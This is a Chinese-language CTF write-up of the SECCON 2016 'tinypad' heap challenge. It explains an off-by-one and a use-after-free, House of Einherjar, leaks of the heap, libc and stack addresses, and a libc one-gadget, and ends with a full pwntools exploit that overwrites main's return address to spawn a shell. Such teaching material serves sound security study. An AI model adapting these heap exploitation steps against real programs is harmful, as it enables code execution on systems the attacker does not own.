House Of Einherjar(2016 Seccon tinypad)

栗子https://github.com/tower111/software.git

got表不可写:劫持程序执行流的思路1.复写hook函数。2.覆盖返回地址
canary和NX保护。


漏洞和数据结构

  if ( v13 > 0 && v13 <= 4 )
      {
        if ( *(_QWORD *)&tinypad[16 * (v13 - 1 + 16LL)] )
        {
          c = '0';
          strcpy(tinypad, *(const char **)&tinypad[16 * (v13 - 1 + 16LL) + 8]);
          while ( toupper(c) != 'Y' )
          {
            write_n((__int64)"CONTENT: ", 9LL);
            v8 = strlen(tinypad);
            writeln((__int64)tinypad, v8);
            write_n((__int64)"(CONTENT)>>> ", 13LL);
            v9 = strlen(*(const char **)&tinypad[16 * (v13 - 1 + 16LL) + 8]);
            read_until((__int64)tinypad, v9, 0xAu);
            writeln((__int64)"Is it OK?", 9LL);
            write_n((__int64)"(Y/n)>>> ", 9LL);
            read_until((__int64)&c, 1uLL, 0xAu);
          }
          strcpy(*(char **)&tinypad[16 * (v13 - 1 + 16LL) + 8], tinypad);
          v3 = 8LL;

在bss段偏移0x100位置处会放入size和chunk的地址,chunk里面存放content。
bss段的开始存放的是edit函数缓冲的数据。

1.函数自定义的read函数存在off by one 漏洞。这个代码比较麻烦可以手动测试得出结论。可以复写每个chunk的prive_size和prive_inuse字段,在edit长度为256的时候会覆盖掉memo1的size字段(只能设置为0)

2.在free之后只是把size置0并没有把指针清零,存在UAF漏洞。


利用思路

只有off by one利用需要2层chunk,这里只有一层显然不行(参考https://ctf-wiki.github.io/ctf-wiki/pwn/heap/off_by_one/)。

unlink需要堆溢出,完整操作下一个堆,这里只利用unlink也不行(可以用double free 或者其他方法获取到一个堆的完整控制权,再用unlink应该是可以的)。

double free:

   if ( v8 == 'D' )
    {
      write_n("(INDEX)>>> ", 11LL, v9);
      v20 = read_int();
      if ( v20 > 0 && v20 <= 4 )
      {
        if ( *(_QWORD *)&tinypad[16 * (v20 - 1 + 16LL)] )
        {
          free(*(void **)&tinypad[16 * (v20 - 1 + 16LL) + 8]);
          *(_QWORD *)&tinypad[16 * (v20 - 1 + 16LL)] = 0LL;
          writeln("\nDeleted.", 9LL);
        }
        else
        {
          writeln("Not used", 8LL);
        }
      }

这里对free函数做了限制,不能double free

house of einherjar是什么参考https://ctf-wiki.github.io/ctf-wiki/pwn/heap/house_of_einherjar/

house of einherjar需要:能够修改inuse位,申请到的空间内容两个单位可以控制。(对于进行unlink的chunk并不会检查自己的size部分)
利用house of einherjar 申请到bss段的空间,修改memo数组,实现复写hook_malloc或者是修改返回地址

           v9 = strlen(*(const char **)&tinypad[16 * (v13 - 1 + 16LL) + 8]);
            read_until((__int64)tinypad, v9, 0xAu);

由于会读取原长度然后输入,malloc_hook初始为0所以不能用就只能用第二种方案了。

获取返回地址的方案:泄露libc找到__environ函数计算出main_arean的地址

1.申请到bss空间需要:heap地址,bss地址
2.复写返回地址需要:libc地址,一段合适的ropgedat


获取需要数据

先找ropgedat
搜索libc库的/bin/sh 字符串可以找到这里,很完美的一段ropgedat

text:000000000004520F loc_4520F:                              ; CODE XREF: sub_44E20+16E↑j
.text:000000000004520F                 lea     rax, aBinSh+5   ; "sh"
.text:0000000000045216                 lea     rsi, unk_3C6560
.text:000000000004521D                 xor     edx, edx
.text:000000000004521F                 mov     edi, 2
.text:0000000000045224                 mov     [rsp+188h+var_148], rbx
.text:0000000000045229                 mov     [rsp+188h+var_140], 0
.text:0000000000045232                 mov     [rsp+188h+var_158], rax
.text:0000000000045237                 lea     rax, aC         ; "-c"
.text:000000000004523E                 mov     [rsp+188h+var_150], rax
.text:0000000000045243                 call    sigaction
.text:0000000000045248                 lea     rsi, unk_3C64C0
.text:000000000004524F                 xor     edx, edx
.text:0000000000045251                 mov     edi, 3
.text:0000000000045256                 call    sigaction
.text:000000000004525B                 xor     edx, edx
.text:000000000004525D                 mov     rsi, r12
.text:0000000000045260                 mov     edi, 2
.text:0000000000045265                 call    sigprocmask
.text:000000000004526A                 mov     rax, cs:environ_ptr_0
.text:0000000000045271                 lea     rdi, aBinSh     ; "/bin/sh"
.text:0000000000045278                 lea     rsi, [rsp+188h+var_158]
.text:000000000004527D                 mov     cs:dword_3C64A0, 0
.text:0000000000045287                 mov     cs:dword_3C64A4, 0
.text:0000000000045291                 mov     rdx, [rax]
.text:0000000000045294                 call    execve

fast bin大小的chunk在释放后会在fd指针处写入数据,组成单链表。
输出这个时候chunk中内容即可。

small bin大小的块释放后进入unsort bin。unsort bin里面fd和bk是双向链表,链里面的第一个chunk的fd,bk指针会指向main_arena地址处,这个地址和libc_base之间的偏移是固定的。


利用代码分析

add(0x10, 'a') 
add(0x10,"b")
add(0x100,"c")
delete(2)
delete(1)
p.recvuntil(" # CONTENT: ")
heap_base=u64(p.recvuntil('\n',drop=True).ljust(8,'\x00'))-0x20
print "heap_base="+hex(heap_base)
gdb.attach(p)
#x /10xg 0x602140
delete(3)
p.recvuntil(" # CONTENT: ")
main_arena=u64(p.recvuntil('\n',drop=True).ljust(8,'\x00'))
print "main_arena="+hex(main_)

删除chunk1和chunk2的之后输出heap_base

pwndbg> x /10xg  0x2110000
0x2110000:  0x0000000000000000  0x0000000000000021
0x2110010:  0x0000000002110020  0x0000000000000000
0x2110020:  0x0000000000000000  0x0000000000000021
0x2110030:  0x0000000000000000  0x0000000000000000
0x2110040:  0x0000000000000000  0x0000000000000111

所以这里要减去0x20(ubuntu18在这里不能减0x20了)。

在删除chunk3之后chunk3会合并相邻的2个chunk合并之后在放入unsort bin里面,然后被topchunk回收。

pwndbg> heap
0x148b000 PREV_INUSE {
  prev_size = 0x0, 
  size = 0x21001, 
  fd = 0x7f434a1aab78 <main_arena+88>, 
  bk = 0x7f434a1aab78 <main_arena+88>, 
  fd_nextsize = 0x20, 
  bk_nextsize = 0x20
}

满足放进unsort bin,仅有一个chunk所以fd和bk
位置处都是main_arena 。
如何获取到main_arena和libc之间的偏移?

liu@liu-VirtualBox:~$ pidof tinypad 
4072
liu@liu-VirtualBox:~$ cat /proc/4072/maps
00400000-00402000 r-xp 00000000 08:01 471441                             /home/liu/Desktop/tinypad
00601000-00602000 r--p 00001000 08:01 471441                             /home/liu/Desktop/tinypad
00602000-00603000 rw-p 00002000 08:01 471441                             /home/liu/Desktop/tinypad
01082000-010a3000 rw-p 00000000 00:00 0                                  [heap]
7ff38f379000-7ff38f539000 r-xp 00000000 08:01 457287                     /lib/x86_64-linux-gnu/libc-2.23.so
7ff38f539000-7ff38f739000 ---p 001c0000 08:01 457287                     /lib/x86_64-linux-gnu/libc-2.23.so
7ff38f739000-7ff38f73d000 r--p 001c0000 08:01 457287                     /lib/x86_64-linux-gnu/libc-2.23.so
7ff38f73d000-7ff38f73f000 rw-p 001c4000 08:01 457287                     /lib/x86_64-linux-gnu/libc-2.23.so
7ff38f73f000-7ff38f743000 rw-p 00000000 00:00 0 
7ff38f743000-7ff38f769000 r-xp 00000000 08:01 457280                     /lib/x86_64-linux-gnu/ld-2.23.so
7ff38f949000-7ff38f94c000 rw-p 00000000 00:00 0 
7ff38f968000-7ff38f969000 r--p 00025000 08:01 457280                     /lib/x86_64-linux-gnu/ld-2.23.so
7ff38f969000-7ff38f96a000 rw-p 00026000 08:01 457280                     /lib/x86_64-linux-gnu/ld-2.23.so
7ff38f96a000-7ff38f96b000 rw-p 00000000 00:00 0 
7fffbd9ac000-7fffbd9cd000 rw-p 00000000 00:00 0                          [stack]
7fffbd9fb000-7fffbd9fd000 r--p 00000000 00:00 0                          [vvar]
7fffbd9fd000-7fffbd9ff000 r-xp 00000000 00:00 0                          [vdso]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0                  [vsyscall]

main_arena=0x7ff38f73db78

offset=0x7ff38f73db78-0x7ff38f379000=0x3c4b78

到这里需要的数据基本上完成了。
接下来是构造house of einherjar

add(0x18,"d"*0x18)
add(0x100,"e"*0xf8+'\x11')
add(0x100,'f'*0xf8)

在free的时候会检查下一个chunk的size所以这里需要加个’\x11’本chunk的size从0x111覆盖后会变为0x100

fake_addr=0x602040+0x20
size=heap_base-fake_addr+0x20
print hex(size)
payload="b"*0x20+p64(0)+p64(0x101)+p64(fake_addr)*2
edit(3,payload)

这里并没有写入到chunk3里面但是会写入到bss段的开始,我们在这里构造的fake_chunk. 为了绕过unlink的检查这里的fd和bk
必须都是fake_addr。size和prive_inuse需要是下一个溢出chunk的下一个chunk(这里是chunk3)的size,inuse为1(默认unsortbin中第一个chunk的prive_inuse位为1)。(在wiki上看到说unlink的时候fakechunk的size不会检验,只会检查chunk2的size。为什么size非要是这样不知道原因,希望大佬看到这篇文章帮助一下)。

接下来是利用off by one漏洞来修改inuse位

for i in range(len(p64(size))-len(p64(size).strip('\x00'))+1):
    edit(1,'a'*0x10+p64(size).strip('\x00').rjust(8-i,'f'))
delete(2)
p.recvuntil("\nDeleted.")

因为是用strcpy所以中间有\x00会截断,这里用循环来实现写入size。

执行完delete之后就是这样,伪造的chunk会放入unsort bin中,这个过程会设置size和fd,bk。有一点需要注意,下次申请的空间会先查找这里,然后才会用top chunk。我们正常申请0x000000000197c0c0那么大的chunk的话会用mmap,所以想要真正起作用还需要修改这个size。

payload="a"*0x20+p64(0)+p64(0x111)+p64(main_arena)+p64(main_arena)
edit(4,payload)

程序是先copy原数据到bss段,并且edit的size也不能超过原size(这个size是用strlen读取到的),所以添加一个新的chunk比较方便

接下就是泄露返回地址和复写返回地址。
思路:设置chunk1指向environ的地址就能输出,泄露计算出main_ret_addr,让chunk1指向,main_ret_addr修改chunk1为gedgat。
想要修改chunk1可以让chunk2指向chunk1.

getgat=libc_base+0x45216
environ_point=libc_base+libc.symbols['__environ']
payload="A"*0xd0+p64(0x100)+p64(environ_point)+p64(0x100)+p64(0x602148)
add(0x100,payload)
environ_addr=u64(p.recvuntil('\n',drop=True).ljust(8,'\x00'))
print "environ_addr="+hex(environ_addr)
main_ret_addr=environ_addr-30*8

注意这里的p64(0x100),不能设置为0如果为0会导致下面的edit失败。这也是本题不能用double free的原因。

万事俱备接下来修改就行了

edit(2,p64(main_ret_addr))
edit(1,p64(getgat))
p.sendline("q")
p.interactive()

完整exp

from pwn import *
context.log_level="debug"
p=process("tinypad")
elf=ELF("./tinypad")
libc=ELF("./libc.so.6")
offset=0x3c4b78
def add(size,content):
    p.recvuntil("(CMD)>>> ")
    p.sendline("A")
    p.recvuntil("(SIZE)>>> ")
    p.sendline(str(size))
    p.recvuntil("(CONTENT)>>> ")
    p.sendline(content)

def delete(index):
    p.recvuntil("(CMD)>>> ")
    p.sendline("D")
    p.recvuntil("(INDEX)>>> ")
    p.sendline(str(index))
    #size=0,p!=NULL
    #\x00

def edit(index,content):
    p.recvuntil("(CMD)>>> ")
    p.sendline("E")
    p.recvuntil("(INDEX)>>> ")
    p.sendline(str(index))
    p.recvuntil("(CONTENT)>>> ")
    p.sendline(content)
    p.recvuntil("(Y/n)>>> ")
    p.sendline("Y")





add(0x10, 'a') 
add(0x10,"b")
add(0x100,"c")
delete(2)
delete(1)
p.recvuntil(" # CONTENT: ")
heap_base=u64(p.recvuntil('\n',drop=True).ljust(8,'\x00'))-0x20
print "heap_base="+hex(heap_base)
#gdb.attach(p)
#x /10xg 0x602140
delete(3)
p.recvuntil(" # CONTENT: ")
main_arena=u64(p.recvuntil('\n',drop=True).ljust(8,'\x00'))
print "main_arena="+hex(main_arena)
libc_base=main_arena-offset
print "libc_base="+hex(libc_base)

# house of einherjar
add(0x18,"d"*0x18)
add(0xf0,"e"*0xf0)
add(0xf0,'f'*0xf8)
add(0x100,"f"*0xf8)

fake_addr=0x602040+0x20
size=heap_base-fake_addr+0x20
print hex(size)
payload="b"*0x20+p64(0x11111111)+p64(0xf1)+p64(fake_addr)*2
edit(3,payload)

for i in range(len(p64(size))-len(p64(size).strip('\x00'))+1):
    edit(1,'a'*0x10+p64(size).strip('\x00').rjust(8-i,'f'))

#edit(1,'a'*0x10+p64(size))
#gdb.attach(p)
delete(2)
p.recvuntil("\nDeleted.")
payload="a"*0x20+p64(0)+p64(0x111)+p64(main_arena)+p64(main_arena)
edit(4,payload)
#gdb.attach(p)
getgat=libc_base+0x45216
environ_point=libc_base+libc.symbols['__environ']
payload="A"*0xd0+p64(0x100)+p64(environ_point)+p64(0x100)+p64(0x602148)
add(0x100,payload)
#gdb.attach(p)
p.recvuntil(" # CONTENT: ")
environ_addr=u64(p.recvuntil('\n',drop=True).ljust(8,'\x00'))
print "environ_addr="+hex(environ_addr)
main_ret_addr=environ_addr-30*8
print "main_ret _addr="+hex(main_ret_addr)
gdb.attach(p)
edit(2,p64(main_ret_addr))
edit(1,p64(getgat))
p.sendline("q")
p.interactive()

本例只适用与unbutu16 ,因为18管理策略变了所以不能get shell。

参考:https://ctf-wiki.github.io/ctf-wiki/pwn/heap/house_of_einherjar/
我的邮箱[email protected] 希望有老哥能解决我的问题,也欢迎求助。

你可能感兴趣的:(堆利用技巧)